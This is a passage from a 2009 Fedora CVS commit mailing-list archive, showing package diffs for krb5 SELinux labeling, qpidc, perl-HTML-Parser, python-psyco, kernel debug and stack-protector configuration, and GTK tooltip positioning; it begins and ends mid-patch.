--- krb5-1.7-selinux-label.patch	6 Jul 2009 22:56:11 -0000	1.5
+++ krb5-1.7-selinux-label.patch	23 Oct 2009 20:29:53 -0000	1.6
@@ -42,7 +42,7 @@ diff -up krb5-1.7/src/aclocal.m4 krb5-1.
  KRB5_LIB_PARAMS
  KRB5_AC_INITFINI
  KRB5_AC_ENABLE_THREADS
-@@ -1876,3 +1877,51 @@ AC_SUBST(PAM_LIBS)
+@@ -1876,3 +1877,53 @@ AC_SUBST(PAM_LIBS)
  AC_SUBST(manlibexecdir)
  AC_CONFIG_FILES($1)
  ])
@@ -56,7 +56,7 @@ diff -up krb5-1.7/src/aclocal.m4 krb5-1.
 +if test "$withselinux" != no ; then
 +       AC_MSG_RESULT([checking for libselinux...])
 +       SELINUX_LIBS=
-+       AC_CHECK_HEADERS(selinux/selinux.h)
++       AC_CHECK_HEADERS(selinux/selinux.h selinux/label.h)
 +       if test "x$ac_cv_header_selinux_selinux_h" != xyes ; then
 +               if test "$withselinux" = auto ; then
 +                       AC_MSG_RESULT([Unable to locate selinux/selinux.h.])
@@ -68,11 +68,13 @@ diff -up krb5-1.7/src/aclocal.m4 krb5-1.
 +
 +       LIBS=
 +       unset ac_cv_func_setfscreatecon
-+       AC_CHECK_FUNCS(setfscreatecon)
++       AC_CHECK_FUNCS(setfscreatecon selabel_open)
 +       if test "x$ac_cv_func_setfscreatecon" = xno ; then
 +               AC_CHECK_LIB(selinux,setfscreatecon)
++               AC_CHECK_LIB(selinux,selabel_open)
 +               unset ac_cv_func_setfscreatecon
-+               AC_CHECK_FUNCS(setfscreatecon)
++               unset ac_cv_func_selabel_open
++               AC_CHECK_FUNCS(setfscreatecon selabel_open)
 +               if test "x$ac_cv_func_setfscreatecon" = xyes ; then
 +                       SELINUX_LIBS="$LIBS"
 +               else
@@ -162,17 +164,20 @@ diff -up krb5-1.7/src/configure.in krb5-
 diff -up krb5-1.7/src/include/autoconf.h.in krb5-1.7/src/include/autoconf.h.in
 --- krb5-1.7/src/include/autoconf.h.in	2009-06-01 20:58:35.000000000 -0400
 +++ krb5-1.7/src/include/autoconf.h.in	2009-06-04 13:47:20.000000000 -0400
-@@ -389,6 +389,9 @@
+@@ -389,6 +389,12 @@
  /* Define to 1 if you have the `sched_yield' function. */
  #undef HAVE_SCHED_YIELD
  
++/* Define to 1 if you have the <selinux/label.h> header file. */
++#undef HAVE_SELINUX_LABEL_H
++
 +/* Define to 1 if you have the <selinux/selinux.h> header file. */
 +#undef HAVE_SELINUX_SELINUX_H
 +
  /* Define to 1 if you have the <semaphore.h> header file. */
  #undef HAVE_SEMAPHORE_H
  
-@@ -401,6 +404,9 @@
+@@ -401,6 +407,9 @@
  /* Define to 1 if you have the `setegid' function. */
  #undef HAVE_SETEGID
  
@@ -182,7 +187,7 @@ diff -up krb5-1.7/src/include/autoconf.h
  /* Define to 1 if you have the `setenv' function. */
  #undef HAVE_SETENV
  
-@@ -768,6 +774,10 @@
+@@ -768,6 +777,10 @@
  /* Define if the KDC should use a replay cache */
  #undef USE_RCACHE
  
@@ -536,7 +541,7 @@ diff -up krb5-1.7/src/util/support/Makef
 diff -up /dev/null krb5-1.7/src/util/support/selinux.c
 --- /dev/null	2009-06-04 10:34:55.169007373 -0400
 +++ krb5-1.7/src/util/support/selinux.c	2009-06-04 13:47:20.000000000 -0400
-@@ -0,0 +1,300 @@
+@@ -0,0 +1,314 @@
 +/*
 + * Copyright 2007,2008,2009 Red Hat, Inc.  All Rights Reserved.
 + *
@@ -588,7 +593,9 @@ diff -up /dev/null krb5-1.7/src/util/sup
 +#include <string.h>
 +#include <unistd.h>
 +#include <selinux/selinux.h>
++#ifdef HAVE_SELINUX_LABEL_H
 +#include <selinux/label.h>
++#endif
 +
 +/* #define DEBUG 1 */
 +
@@ -607,8 +614,10 @@ diff -up /dev/null krb5-1.7/src/util/sup
 +push_fscreatecon(const char *pathname, mode_t mode)
 +{
 +	security_context_t previous, next;
-+	struct selabel_handle *ctx;
 +	const char *fullpath;
++#ifdef HAVE_SELINUX_LABEL_H
++	struct selabel_handle *ctx;
++#endif
 +
 +	previous = NULL;
 +	if (is_selinux_enabled()) {
@@ -648,6 +657,7 @@ diff -up /dev/null krb5-1.7/src/util/sup
 +					"\"%s\"(%05o).\n", fullpath, mode);
 +			}
 +#endif
++#ifdef HAVE_SELINUX_LABEL_H
 +			ctx = selabel_open(SELABEL_CTX_FILE, NULL, 0);
 +			if (ctx != NULL) {
 +				if (selabel_lookup(ctx, &next,
@@ -661,6 +671,15 @@ diff -up /dev/null krb5-1.7/src/util/sup
 +				}
 +				selabel_close(ctx);
 +			}
++#else
++			if (matchpathcon(fullpath, mode, &next) != 0) {
++				free(genpath);
++				if (previous != NULL) {
++					freecon(previous);
++				}
++				return NULL;
++			}
++#endif
 +			free(genpath);
 +#ifdef DEBUG
 +			if (isatty(fileno(stderr))) {


Index: krb5.spec
===================================================================
RCS file: /cvs/extras/rpms/krb5/devel/krb5.spec,v
retrieving revision 1.213
retrieving revision 1.214
diff -u -p -r1.213 -r1.214
--- krb5.spec	13 Oct 2009 15:49:29 -0000	1.213
+++ krb5.spec	23 Oct 2009 20:29:53 -0000	1.214
@@ -85,7 +85,9 @@ URL: http://web.mit.edu/kerberos/www/
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: autoconf, bison, flex, gawk
+%if 0%{?fedora} >= 12
 BuildRequires: libcom_err-devel, libss-devel
+%endif
 BuildRequires: gzip, ncurses-devel, rsh, texinfo, texinfo-tex, tar
 BuildRequires: tetex-latex
 BuildRequires: keyutils-libs-devel
@@ -107,7 +109,10 @@ practice of cleartext passwords.
 %package devel
 Summary: Development files needed to compile Kerberos 5 programs
 Group: Development/Libraries
-Requires: %{name}-libs = %{version}-%{release}, libcom_err-devel
+Requires: %{name}-libs = %{version}-%{release}
+%if 0%{?fedora} >= 12
+Requires: libcom_err-devel
+%endif
 Requires: keyutils-libs-devel, libselinux-devel
 
 %description devel
@@ -210,7 +215,10 @@ to obtain initial credentials from a KDC
 certificate.
 
 %changelog
-* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-9
+* Fri Oct 23 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-9
+- add some conditional logic to simplify building on older Fedora releases
+
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com>
 - don't forget the README
 
 * Mon Sep 14 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-8
@@ -1537,7 +1545,11 @@ CPPFLAGS="`echo $DEFINES $INCLUDES`"
 	CC="%{__cc}" \
 	CFLAGS="$CFLAGS" \
 	CPPFLAGS="$CPPFLAGS" \
+%if 0%{?fedora} >= 7
 	SS_LIB="-lss -ltinfo" \
+%else
+	SS_LIB="-lss -lncurses" \
+%endif
 	--enable-shared \
 	--bindir=%{krb5prefix}/bin \
 	--mandir=%{krb5prefix}/man \



From nsantos at fedoraproject.org  Fri Oct 23 20:31:00 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 20:31:00 +0000 (UTC)
Subject: rpms/qpidc/F-11 .cvsignore, 1.27, 1.28 qpidc.spec, 1.93,
	1.94 sources, 1.49, 1.50
Message-ID: <20091023203100.B5D2611C0264@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29734

Modified Files:
	.cvsignore qpidc.spec sources 
Log Message:
Rebased to svn rev 829175


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	23 Oct 2009 19:13:30 -0000	1.27
+++ .cvsignore	23 Oct 2009 20:30:59 -0000	1.28
@@ -1,2 +1,2 @@
 qpidc-0.5.829175.tar.gz
-rhm-0.5.3670.tar.gz
+rhm-0.5.3684.tar.gz


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- qpidc.spec	23 Oct 2009 19:13:30 -0000	1.93
+++ qpidc.spec	23 Oct 2009 20:30:59 -0000	1.94
@@ -8,7 +8,7 @@
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
 %define qpid_svnrev 829175
-%define rhm_svnrev 3670
+%define rhm_svnrev 3684
 
 Name:           qpidc
 Version:        0.5.%{qpid_svnrev}


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	23 Oct 2009 19:13:30 -0000	1.49
+++ sources	23 Oct 2009 20:30:59 -0000	1.50
@@ -1,2 +1,2 @@
 38777aa2e3e9597111423213a879cb73  qpidc-0.5.829175.tar.gz
-7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz
+14b101b363838a2e9deabb16f4b184fa  rhm-0.5.3684.tar.gz



From wtogami at fedoraproject.org  Fri Oct 23 20:31:14 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 20:31:14 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/F-10 .cvsignore, 1.13,
	1.14 perl-HTML-Parser.spec, 1.34, 1.35 sources, 1.15, 1.16
Message-ID: <20091023203114.E892E11C0264@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29797

Modified Files:
	.cvsignore perl-HTML-Parser.spec sources 
Log Message:
3.63 CVE-2009-3627



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-10/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	6 Jan 2009 06:46:41 -0000	1.13
+++ .cvsignore	23 Oct 2009 20:31:14 -0000	1.14
@@ -1 +1 @@
-HTML-Parser-3.59.tar.gz
+HTML-Parser-3.63.tar.gz


Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-10/perl-HTML-Parser.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- perl-HTML-Parser.spec	9 Jun 2009 05:58:55 -0000	1.34
+++ perl-HTML-Parser.spec	23 Oct 2009 20:31:14 -0000	1.35
@@ -1,8 +1,8 @@
 %define real_name HTML-Parser
 
 Name:           perl-%{real_name}
-Version:        3.60
-Release:        1%{?dist}
+Version:        3.63
+Release:        2%{?dist}
 Summary:        Perl module for parsing HTML
 
 Group:          Development/Libraries
@@ -64,6 +64,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-2
+- 3.63 CVE-2009-3627
+
+* Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
+- 3.62
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.60-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 08 2009 Chris Weyl <cweyl at alumni.drew.edu> - 3.60-1
 - update to latest for mojomojo
 - filter bad provides (Parser.so)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	9 Jun 2009 05:58:56 -0000	1.15
+++ sources	23 Oct 2009 20:31:14 -0000	1.16
@@ -1 +1 @@
-fb97ea7e5bd832b079d8660732f9d8d9  HTML-Parser-3.60.tar.gz
+64d1d54411ea71f89c3bab23bfd14abc  HTML-Parser-3.63.tar.gz



From mjakubicek at fedoraproject.org  Fri Oct 23 20:47:44 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 20:47:44 +0000 (UTC)
Subject: rpms/python-psyco/F-12 python-psyco.spec,1.26,1.27
Message-ID: <20091023204744.1876011C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-psyco/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2892/F-12

Modified Files:
	python-psyco.spec 
Log Message:
- Fix FTBFS: Use %%{ix86} instead of i586 in ExclusiveArch




Index: python-psyco.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-psyco/F-12/python-psyco.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- python-psyco.spec	26 Jul 2009 20:53:40 -0000	1.26
+++ python-psyco.spec	23 Oct 2009 20:47:43 -0000	1.27
@@ -4,7 +4,7 @@
 
 Name:           python-%{srcname}
 Version:        1.6
-Release:        3%{?dist}
+Release:        4%{?dist}
 
 Summary:        The Python Specialing Compiler
 
@@ -24,7 +24,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 # Psyco portable beyond the current x86 machine code. However, I consider
 # them as not really suited for Psyco.
 # """
-ExclusiveArch:  i586
+ExclusiveArch:  %{ix86}
 BuildRequires:  python-devel
 
 %description
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 1.6-4
+- Fix FTBFS: Use %%{ix86} instead of i586 in ExclusiveArch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Fri Oct 23 20:47:44 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 20:47:44 +0000 (UTC)
Subject: rpms/python-psyco/devel python-psyco.spec,1.26,1.27
Message-ID: <20091023204744.3C4CA11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-psyco/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2892/devel

Modified Files:
	python-psyco.spec 
Log Message:
- Fix FTBFS: Use %%{ix86} instead of i586 in ExclusiveArch




Index: python-psyco.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-psyco/devel/python-psyco.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- python-psyco.spec	26 Jul 2009 20:53:40 -0000	1.26
+++ python-psyco.spec	23 Oct 2009 20:47:44 -0000	1.27
@@ -4,7 +4,7 @@
 
 Name:           python-%{srcname}
 Version:        1.6
-Release:        3%{?dist}
+Release:        4%{?dist}
 
 Summary:        The Python Specialing Compiler
 
@@ -24,7 +24,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 # Psyco portable beyond the current x86 machine code. However, I consider
 # them as not really suited for Psyco.
 # """
-ExclusiveArch:  i586
+ExclusiveArch:  %{ix86}
 BuildRequires:  python-devel
 
 %description
@@ -68,6 +68,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 1.6-4
+- Fix FTBFS: Use %%{ix86} instead of i586 in ExclusiveArch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From airlied at fedoraproject.org  Fri Oct 23 21:08:00 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri, 23 Oct 2009 21:08:00 +0000 (UTC)
Subject: rpms/kernel/F-12 disable-stackprotector-all.patch, NONE,
	1.1 config-generic, 1.327, 1.328 config-nodebug, 1.38,
	1.39 config-x86_64-generic, 1.91, 1.92 kernel.spec, 1.1879, 1.1880
Message-ID: <20091023210800.D21C511C01EA@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10890

Modified Files:
	config-generic config-nodebug config-x86_64-generic 
	kernel.spec 
Added Files:
	disable-stackprotector-all.patch 
Log Message:
* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-94
- disable debug + stackprotector


disable-stackprotector-all.patch:
 Kconfig  |    4 ----
 Makefile |    1 -
 2 files changed, 5 deletions(-)

--- NEW FILE disable-stackprotector-all.patch ---
diff -up linux-2.6.31.noarch/arch/x86/Kconfig.dave linux-2.6.31.noarch/arch/x86/Kconfig
--- linux-2.6.31.noarch/arch/x86/Kconfig.dave	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/arch/x86/Kconfig	2009-10-23 17:04:30.000000000 -0400
@@ -1444,12 +1444,8 @@ config SECCOMP
 
 	  If unsure, say Y. Only embedded should say N here.
 
-config CC_STACKPROTECTOR_ALL
-	bool
-
 config CC_STACKPROTECTOR
 	bool "Enable -fstack-protector buffer overflow detection (EXPERIMENTAL)"
-	select CC_STACKPROTECTOR_ALL
 	---help---
 	  This option turns on the -fstack-protector GCC feature. This
 	  feature puts, at the beginning of functions, a canary value on
diff -up linux-2.6.31.noarch/arch/x86/Makefile.dave linux-2.6.31.noarch/arch/x86/Makefile
--- linux-2.6.31.noarch/arch/x86/Makefile.dave	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/arch/x86/Makefile	2009-10-23 17:04:30.000000000 -0400
@@ -74,7 +74,6 @@ ifdef CONFIG_CC_STACKPROTECTOR
 	cc_has_sp := $(srctree)/scripts/gcc-x86_$(BITS)-has-stack-protector.sh
         ifeq ($(shell $(CONFIG_SHELL) $(cc_has_sp) $(CC)),y)
                 stackp-y := -fstack-protector
-                stackp-$(CONFIG_CC_STACKPROTECTOR_ALL) += -fstack-protector-all
                 KBUILD_CFLAGS += $(stackp-y)
         else
                 $(warning stack protector enabled but no compiler support)


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-generic,v
retrieving revision 1.327
retrieving revision 1.328
diff -u -p -r1.327 -r1.328
--- config-generic	21 Oct 2009 10:24:42 -0000	1.327
+++ config-generic	23 Oct 2009 21:07:59 -0000	1.328
@@ -81,7 +81,7 @@ CONFIG_PCI_STUB=y
 CONFIG_PCI_IOV=y
 CONFIG_HT_IRQ=y
 CONFIG_PCI_MSI=y
-CONFIG_PCI_MSI_DEFAULT_ON=y
+# CONFIG_PCI_MSI_DEFAULT_ON is not set
 CONFIG_PCIEPORTBUS=y
 CONFIG_PCIEAER=y
 CONFIG_PCIEASPM=y
@@ -1406,10 +1406,10 @@ CONFIG_ATMEL=m
 # CONFIG_BCM43XX is not set
 CONFIG_B43=m
 CONFIG_B43_PCMCIA=y
-CONFIG_B43_DEBUG=y
+# CONFIG_B43_DEBUG is not set
 # CONFIG_B43_FORCE_PIO is not set
 CONFIG_B43LEGACY=m
-CONFIG_B43LEGACY_DEBUG=y
+# CONFIG_B43LEGACY_DEBUG is not set
 CONFIG_B43LEGACY_DMA=y
 CONFIG_B43LEGACY_PIO=y
 CONFIG_B43LEGACY_DMA_AND_PIO_MODE=y
@@ -3530,7 +3530,7 @@ CONFIG_PM_LEGACY=y
 CONFIG_PM_DEBUG=y
 CONFIG_PM_TRACE=y
 # CONFIG_PM_VERBOSE is not set
-CONFIG_PM_TEST_SUSPEND=y
+# CONFIG_PM_TEST_SUSPEND is not set
 
 ## BEGIN ISA Junk.
 
@@ -3975,7 +3975,7 @@ CONFIG_USB_ATMEL=m
 # CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
 CONFIG_FUNCTION_TRACER=y
 # CONFIG_FUNCTION_GRAPH_TRACER is not set
-CONFIG_BOOT_TRACER=y
+# CONFIG_BOOT_TRACER is not set
 CONFIG_STACK_TRACER=y
 # CONFIG_DYNAMIC_PRINTK_DEBUG is not set
 CONFIG_EARLY_PRINTK_DBGP=y


Index: config-nodebug
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-nodebug,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- config-nodebug	27 Jul 2009 17:42:04 -0000	1.38
+++ config-nodebug	23 Oct 2009 21:08:00 -0000	1.39
@@ -2,50 +2,50 @@ CONFIG_SND_VERBOSE_PRINTK=y
 CONFIG_SND_DEBUG=y
 CONFIG_SND_PCM_XRUN_DEBUG=y
 
-CONFIG_DEBUG_MUTEXES=y
-CONFIG_DEBUG_RT_MUTEXES=y
-CONFIG_DEBUG_LOCK_ALLOC=y
-CONFIG_PROVE_LOCKING=y
-CONFIG_DEBUG_VM=y
-CONFIG_DEBUG_SPINLOCK=y
-
-CONFIG_FAULT_INJECTION=y
-CONFIG_FAILSLAB=y
-CONFIG_FAIL_PAGE_ALLOC=y
-CONFIG_FAIL_MAKE_REQUEST=y
-CONFIG_FAULT_INJECTION_DEBUG_FS=y
-CONFIG_FAULT_INJECTION_STACKTRACE_FILTER=y
+# CONFIG_DEBUG_MUTEXES is not set
+# CONFIG_DEBUG_RT_MUTEXES is not set
+# CONFIG_DEBUG_LOCK_ALLOC is not set
+# CONFIG_PROVE_LOCKING is not set
+# CONFIG_DEBUG_VM is not set
+# CONFIG_DEBUG_SPINLOCK is not set
+
+# CONFIG_FAULT_INJECTION is not set
+# CONFIG_FAILSLAB is not set
+# CONFIG_FAIL_PAGE_ALLOC is not set
+# CONFIG_FAIL_MAKE_REQUEST is not set
+# CONFIG_FAULT_INJECTION_DEBUG_FS is not set
+# CONFIG_FAULT_INJECTION_STACKTRACE_FILTER is not set
 # CONFIG_FAIL_IO_TIMEOUT is not set
 
-CONFIG_SLUB_DEBUG_ON=y
+# CONFIG_SLUB_DEBUG_ON is not set
 
-CONFIG_LOCK_STAT=y
+# CONFIG_LOCK_STAT is not set
 
-CONFIG_DEBUG_STACK_USAGE=y
+# CONFIG_DEBUG_STACK_USAGE is not set
 
 # CONFIG_ACPI_DEBUG is not set
 
-CONFIG_DEBUG_SG=y
+# CONFIG_DEBUG_SG is not set
 
 # CONFIG_DEBUG_PAGEALLOC is not set
 
-CONFIG_DEBUG_WRITECOUNT=y
-CONFIG_DEBUG_OBJECTS=y
+# CONFIG_DEBUG_WRITECOUNT is not set
+# CONFIG_DEBUG_OBJECTS is not set
 # CONFIG_DEBUG_OBJECTS_SELFTEST is not set
-CONFIG_DEBUG_OBJECTS_FREE=y
-CONFIG_DEBUG_OBJECTS_TIMERS=y
+# CONFIG_DEBUG_OBJECTS_FREE is not set
+# CONFIG_DEBUG_OBJECTS_TIMERS is not set
 CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
 
-CONFIG_X86_PTDUMP=y
+# CONFIG_X86_PTDUMP is not set
 
-CONFIG_CAN_DEBUG_DEVICES=y
+# CONFIG_CAN_DEBUG_DEVICES is not set
 
-CONFIG_MODULE_FORCE_UNLOAD=y
+# CONFIG_MODULE_FORCE_UNLOAD is not set
 
-CONFIG_SYSCTL_SYSCALL_CHECK=y
+# CONFIG_SYSCTL_SYSCALL_CHECK is not set
 
-CONFIG_DEBUG_NOTIFIERS=y
+# CONFIG_DEBUG_NOTIFIERS is not set
 
-CONFIG_DMA_API_DEBUG=y
+# CONFIG_DMA_API_DEBUG is not set
 
-CONFIG_MMIOTRACE=y
+# CONFIG_MMIOTRACE is not set


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-x86_64-generic,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- config-x86_64-generic	7 Oct 2009 17:26:29 -0000	1.91
+++ config-x86_64-generic	23 Oct 2009 21:08:00 -0000	1.92
@@ -16,7 +16,7 @@ CONFIG_NUMA=y
 CONFIG_K8_NUMA=y
 CONFIG_X86_64_ACPI_NUMA=y
 # CONFIG_NUMA_EMU is not set
-CONFIG_NR_CPUS=512
+CONFIG_NR_CPUS=64
 CONFIG_X86_POWERNOW_K8=m
 CONFIG_X86_POWERNOW_K8_ACPI=y
 CONFIG_X86_P4_CLOCKMOD=m 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1879
retrieving revision 1.1880
diff -u -p -r1.1879 -r1.1880
--- kernel.spec	23 Oct 2009 13:56:37 -0000	1.1879
+++ kernel.spec	23 Oct 2009 21:08:00 -0000	1.1880
@@ -129,7 +129,7 @@ Summary: The Linux kernel
 # Set debugbuildsenabled to 1 for production (build separate debug kernels)
 #  and 0 for rawhide (all kernels are debug kernels).
 # See also 'make debug' and 'make release'.
-%define debugbuildsenabled 0
+%define debugbuildsenabled 1
 
 # Want to build a vanilla kernel build without any non-upstream patches?
 # (well, almost none, we need nonintconfig for build purposes). Default to 0 (off).
@@ -605,6 +605,8 @@ Patch22: linux-2.6-utrace.patch
 
 Patch30: sched-introduce-SCHED_RESET_ON_FORK-scheduling-policy-flag.patch
 
+Patch31: disable-stackprotector-all.patch
+
 Patch41: linux-2.6-sysrq-c.patch
 
 # Intel IOMMU fixes/workarounds
@@ -1184,6 +1186,7 @@ ApplyPatch linux-2.6-utrace.patch
 
 ApplyPatch sched-introduce-SCHED_RESET_ON_FORK-scheduling-policy-flag.patch
 
+ApplyPatch disable-stackprotector-all.patch
 # enable sysrq-c on all kernels, not only kexec
 #ApplyPatch linux-2.6-sysrq-c.patch
 
@@ -2081,6 +2084,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-94
+- disable debug + stackprotector
+
 * Fri Oct 23 2009 Chuck Ebbert <cebbert at redhat.com>
 - Linux 2.6.31.5
 



From nsantos at fedoraproject.org  Fri Oct 23 21:19:34 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 21:19:34 +0000 (UTC)
Subject: rpms/qpidc/F-11 sources,1.50,1.51
Message-ID: <20091023211934.6C98111C01EA@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14827

Modified Files:
	sources 
Log Message:
Rebased to svn rev 829175


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	23 Oct 2009 20:30:59 -0000	1.50
+++ sources	23 Oct 2009 21:19:34 -0000	1.51
@@ -1,2 +1,2 @@
 38777aa2e3e9597111423213a879cb73  qpidc-0.5.829175.tar.gz
-14b101b363838a2e9deabb16f4b184fa  rhm-0.5.3684.tar.gz
+18b1134366efd0e22ac87d0dcd423443  rhm-0.5.3684.tar.gz



From mclasen at fedoraproject.org  Fri Oct 23 21:25:44 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 23 Oct 2009 21:25:44 +0000 (UTC)
Subject: rpms/gtk2/F-12 tooltip-positioning.patch, NONE,
	1.1 fresh-tooltips.patch, 1.3, 1.4 gtk2.spec, 1.421, 1.422
Message-ID: <20091023212544.490EC11C01EA@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16796

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Added Files:
	tooltip-positioning.patch 
Log Message:
More tooltip tweaks


tooltip-positioning.patch:
 gtktooltip.c |  147 +++++++++++++++++++++++++++++++++++++++++++++--------------
 1 file changed, 113 insertions(+), 34 deletions(-)

--- NEW FILE tooltip-positioning.patch ---
diff -up gtk+-2.18.3/gtk/gtktooltip.c.positioning gtk+-2.18.3/gtk/gtktooltip.c
--- gtk+-2.18.3/gtk/gtktooltip.c.positioning	2009-10-23 13:12:16.205437913 -0400
+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-23 13:52:15.922749329 -0400
@@ -1023,57 +1023,134 @@ gtk_tooltip_position (GtkTooltip *toolti
 		      GtkWidget  *new_tooltip_widget)
 {
   gint x, y;
+  gint wx, wy;
   GdkScreen *screen;
+  gint monitor_num;
+  GdkRectangle monitor;
+  GtkRequisition requisition;
+  guint cursor_size;
+
+#define MAX_DISTANCE 32
 
   tooltip->tooltip_widget = new_tooltip_widget;
 
+  screen = gtk_widget_get_screen (new_tooltip_widget);
+
+  gtk_widget_size_request (GTK_WIDGET (tooltip->current_window), &requisition);
+
+  monitor_num = gdk_screen_get_monitor_at_point (screen,
+                                                 tooltip->last_x,
+                                                 tooltip->last_y);
+  gdk_screen_get_monitor_geometry (screen, monitor_num, &monitor);
+
+  gdk_window_get_origin (new_tooltip_widget->window, &wx, &wy);
+  if (GTK_WIDGET_NO_WINDOW (new_tooltip_widget))
+    {
+      wx += new_tooltip_widget->allocation.x;
+      wy += new_tooltip_widget->allocation.y;
+    }
+
   /* Position the tooltip */
-  /* FIXME: should we swap this when RTL is enabled? */
-  if (tooltip->keyboard_mode_enabled)
+
+  cursor_size = gdk_display_get_default_cursor_size (display);
+
+  /* Try below */
+  x = wx + new_tooltip_widget->allocation.width / 2 - requisition.width / 2;
+  y = wy + new_tooltip_widget->allocation.height + 4;
+
+  if (y + requisition.height <= monitor.y + monitor.height)
     {
